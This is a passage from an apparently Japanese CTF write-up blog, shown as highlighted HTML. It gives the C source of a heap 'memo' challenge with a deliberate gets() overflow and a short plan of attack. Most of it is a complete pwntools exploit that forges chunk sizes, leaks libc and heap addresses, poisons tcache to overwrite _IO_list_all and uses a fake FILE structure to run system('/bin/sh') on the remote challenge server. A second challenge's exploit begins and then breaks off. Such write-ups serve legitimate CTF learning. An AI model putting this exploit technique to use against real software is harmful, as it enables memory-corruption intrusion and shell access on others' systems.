Canary found</span></span> <span class="giallo-l"><span> NX: NX enabled</span></span> <span class="giallo-l"><span> PIE: PIE enabled</span></span></code></pre> <p>普通のメモアプリのようです。<code>alloc</code>,<code>delete</code>,<code>view</code>が可能です。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">#include</span><span style="color: #9ECBFF;"> &lt;stdio.h&gt;</span></span> <span class="giallo-l"><span style="color: #F97583;">#include</span><span style="color: #9ECBFF;"> &lt;stdlib.h&gt;</span></span> <span class="giallo-l"><span style="color: #F97583;">#include</span><span style="color: #9ECBFF;"> &lt;unistd.h&gt;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">#define</span><span style="color: #B392F0;"> N</span><span style="color: #79B8FF;"> 32</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">int</span><span> idx </span><span style="color: #F97583;">=</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;">char *</span><span style="color: #FFAB70;">chunks</span><span>[N];</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">int</span><span style="color: #B392F0;"> readint</span><span>() {</span></span> <span class="giallo-l"><span style="color: #F97583;"> char</span><span style="color: #FFAB70;"> buf</span><span>[</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">10</span><span>];</span></span> <span class="giallo-l"><span style="color: #B392F0;"> read</span><span>(</span><span style="color: #79B8FF;">0</span><span>, buf,</span><span style="color: #F97583;"> 0x</span><span style="color: #79B8FF;">10</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span style="color: #B392F0;"> atoi</span><span>(buf);</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> alloc</span><span>() {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(idx </span><span style="color: #F97583;">&gt;=</span><span> N) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;you&#39;ve allocated too many chunks&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;chunk size: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> size </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> readint</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> char *</span><span>chunk </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> malloc</span><span>(size);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;chunk data: &quot;</span><span>);</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> // ----------</span></span> <span class="giallo-l"><span style="color: #6A737D;"> // VULN BELOW !!!!!!</span></span> <span class="giallo-l"><span style="color: #6A737D;"> // ----------</span></span> <span class="giallo-l"><span style="color: #B392F0;"> gets</span><span>(chunk);</span></span> <span class="giallo-l"><span style="color: #6A737D;"> // ----------</span></span> <span class="giallo-l"><span style="color: #6A737D;"> // VULN ABOVE !!!!!!</span></span> <span class="giallo-l"><span style="color: #6A737D;"> // ----------</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;chunk allocated at index: </span><span style="color: #79B8FF;">%d\n</span><span style="color: #9ECBFF;">&quot;</span><span>, idx);</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> chunks</span><span>[idx</span><span style="color: #F97583;">++</span><span>]</span><span style="color: #F97583;"> =</span><span> chunk;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> delete</span><span>() {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;chunk index: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> readint</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(i </span><span style="color: #F97583;">&gt;=</span><span> N </span><span style="color: #F97583;">||</span><span> i </span><span style="color: #F97583;">&lt;</span><span style="color: #79B8FF;"> 0</span><span style="color: #F97583;"> || !</span><span style="color: #FFAB70;">chunks</span><span>[i]) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;bad index&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #B392F0;"> free</span><span>(</span><span style="color: #FFAB70;">chunks</span><span>[i]);</span></span> <span class="giallo-l"><span style="color: #FFAB70;"> chunks</span><span>[i]</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> view</span><span>() {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;chunk index: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> int</span><span> i </span><span style="color: #F97583;">=</span><span style="color: #B392F0;"> readint</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span>(i </span><span style="color: #F97583;">&gt;=</span><span> N </span><span style="color: #F97583;">||</span><span> i </span><span style="color: #F97583;">&lt;</span><span style="color: #79B8FF;"> 0</span><span style="color: #F97583;"> || !</span><span style="color: #FFAB70;">chunks</span><span>[i]) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;bad index&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #FFAB70;">chunks</span><span>[i]);</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">int</span><span style="color: #B392F0;"> menu</span><span>() {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;--- welcome 2 heap ---&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;1) allocate&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;2) delete&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;3) view&quot;</span><span>);</span></span> <span class="giallo-l"><span>}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">int</span><span style="color: #B392F0;"> main</span><span>() {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> setbuf</span><span>(stdout,</span><span style="color: #79B8FF;"> 0</span><span>);</span></span> <span class="giallo-l"><span style="color: #B392F0;"> menu</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span>(;;) {</span></span> <span class="giallo-l"><span style="color: #B392F0;"> printf</span><span>(</span><span style="color: #9ECBFF;">&quot;your choice: &quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> switch</span><span>(</span><span style="color: #B392F0;">readint</span><span>()) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> case</span><span style="color: #79B8FF;"> 1</span><span>:</span></span> <span class="giallo-l"><span style="color: #B392F0;"> alloc</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> case</span><span style="color: #79B8FF;"> 2</span><span>:</span></span> <span class="giallo-l"><span style="color: #B392F0;"> delete</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> case</span><span style="color: #79B8FF;"> 3</span><span>:</span></span> <span class="giallo-l"><span style="color: #B392F0;"> view</span><span>();</span></span> <span class="giallo-l"><span style="color: #F97583;"> break</span><span>;</span></span> <span class="giallo-l"><span style="color: #F97583;"> default</span><span>:</span></span> <span class="giallo-l"><span style="color: #B392F0;"> puts</span><span>(</span><span style="color: #9ECBFF;">&quot;exiting&quot;</span><span>);</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span style="color: #79B8FF;"> 0</span><span>;</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span> }</span></span> <span class="giallo-l"><span>}</span></span></code></pre><h2 id="cui-ruo-xing-3">脆弱性</h2> <p>ソースコードにもわかりやすく書いてある通り、<code>gets</code>が使われています。</p> <h2 id="gong-ji-3">攻撃</h2> <p>chunkのサイズを偽造してすでに存在するチャンクにかぶせて新しくチャンクをallocすることで、<code>view</code>を通したlibc、heap leakができます。</p> <ol> <li>heapをalloc</li> <li>heapのサイズを偽造してunsorted binに繋ぐ</li> <li>libc, heapをleak</li> <li>FSOPでshellを取得</li> </ol> <h2 id="exploit-5">exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i: i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug([elf_name], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process([elf_name],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t, libc</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> alloc</span><span>(_size:</span><span style="color: #79B8FF;"> int</span><span>, _data:</span><span style="color: #79B8FF;"> bytes</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &#39;&#39;</span><span>):</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;choice:&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">1</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;size: &#39;</span><span>, i2b(_size))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;data: &#39;</span><span>, _data)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> delete</span><span>(idx:</span><span style="color: #79B8FF;"> int</span><span>):</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;choice:&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">2</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;index: &#39;</span><span>, i2b(idx))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> view</span><span>(idx:</span><span style="color: #79B8FF;"> int</span><span>) -&gt;</span><span style="color: #79B8FF;"> bytes</span><span>:</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;choice:&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">3</span><span>))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;index: &#39;</span><span>, i2b(idx))</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;your &#39;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">5</span><span>]</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span>)</span><span style="color: #6A737D;"> # 0</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span>)</span><span style="color: #6A737D;"> # 1</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # 2</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # 3</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">3e0</span><span>)</span><span style="color: #6A737D;"> # 4</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span>)</span><span style="color: #6A737D;"> # 5</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">28</span><span>, p8(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">28</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">431</span><span>))</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">2</span><span>)</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # 6</span></span> <span class="giallo-l"><span> libc_base</span><span style="color: #F97583;"> =</span><span> s2u64(view(</span><span style="color: #79B8FF;">3</span><span>).splitlines()[</span><span style="color: #79B8FF;">0</span><span>])</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">21ace0</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>libc_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # 7</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # 8</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">4</span><span>)</span></span> <span class="giallo-l"><span> heap_base</span><span style="color: #F97583;"> =</span><span> (s2u64(view(</span><span style="color: #79B8FF;">9</span><span>).splitlines()[</span><span style="color: #79B8FF;">0</span><span>])</span><span style="color: #F97583;"> -</span><span style="color: #79B8FF;"> 1</span><span>)</span><span style="color: #F97583;"> &lt;&lt;</span><span style="color: #79B8FF;"> 12</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> print</span><span>(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #79B8FF;">{</span><span>heap_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&#39;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> libc.address</span><span style="color: #F97583;"> =</span><span> libc_base</span></span> <span class="giallo-l"><span> fake_io</span><span style="color: #F97583;"> =</span><span> heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">1770</span></span> <span class="giallo-l"><span> payload</span><span style="color: #F97583;"> =</span><span> (</span></span> <span class="giallo-l"><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;/bin/sh</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&#39;</span><span style="color: #6A737D;"> # rdi</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 8</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span><span style="color: #6A737D;"> # rcx (!=0)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">2</span><span>)</span><span style="color: #6A737D;"> # rdx</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(libc.sym[</span><span style="color: #9ECBFF;">&quot;system&quot;</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 4</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">5000</span><span>)</span><span style="color: #6A737D;"> # writable area</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 2</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(fake_io</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">30</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 3</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">1</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 2</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(libc.sym[</span><span style="color: #9ECBFF;">&#39;_IO_wfile_jumps&#39;</span><span>]</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">30</span><span>)</span><span style="color: #6A737D;"> # _wide_data</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #79B8FF;">0</span><span>)</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 6</span></span> <span class="giallo-l"><span style="color: #F97583;"> +</span><span> p64(fake_io</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">40</span><span>)</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">400</span><span>, payload)</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">3c0</span><span>, payload)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>)</span><span style="color: #6A737D;"> # 12</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>)</span><span style="color: #6A737D;"> # 13</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>)</span><span style="color: #6A737D;"> # 14</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">14</span><span>)</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">13</span><span>)</span></span> <span class="giallo-l"><span> delete(</span><span style="color: #79B8FF;">12</span><span>)</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> IO_list_all</span><span style="color: #F97583;"> =</span><span> libc_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">21b680</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&#39;A&#39;</span><span style="color: #F97583;"> * 0x</span><span style="color: #79B8FF;">38</span><span style="color: #F97583;"> +</span><span> p64(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">41</span><span>)</span><span style="color: #F97583;"> +</span><span> p64(ptr_guard(heap_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">1bf0</span><span>,</span><span style="color: #79B8FF;"> IO_list_all</span><span>)))</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>)</span></span> <span class="giallo-l"><span> alloc(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">30</span><span>, p64(fake_io))</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&#39;choice:&#39;</span><span>, i2b(</span><span style="color: #79B8FF;">0</span><span>))</span></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./chall.p&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./libc.so.6&quot;</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;challs.actf.co 31501&quot;</span><span>.split()</span></span> <span class="giallo-l"><span style="color: #F97583;">if</span><span> libc_name:</span></span> <span class="giallo-l"><span> libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre><h1 id="pwn-themectl">[pwn] themectl</h1> <h2 id="jie-xi-4">解析</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="plain"><span class="giallo-l"><span>[*] &#39;/home/user/ctf/themectl/chall.p&#39;</span></span> <span class="giallo-l"><span> Arch: amd64-64-little</span></span> <span class="giallo-l"><span> RELRO: Full RELRO</span></span> <span class="giallo-l"><span> Stack: Canary found</span></span> <span class="giallo-l"><span> NX: NX enabled</span></span> <span class="giallo-l"><span> PIE: PIE enabled</span></span></code></pre> <p>プログラムの機能としてはユーザを作成しログインすることができ、それぞれのユーザが任意個のthemeを作成することができます。</p> <h2 id="exploit-6">exploit</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i: i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: 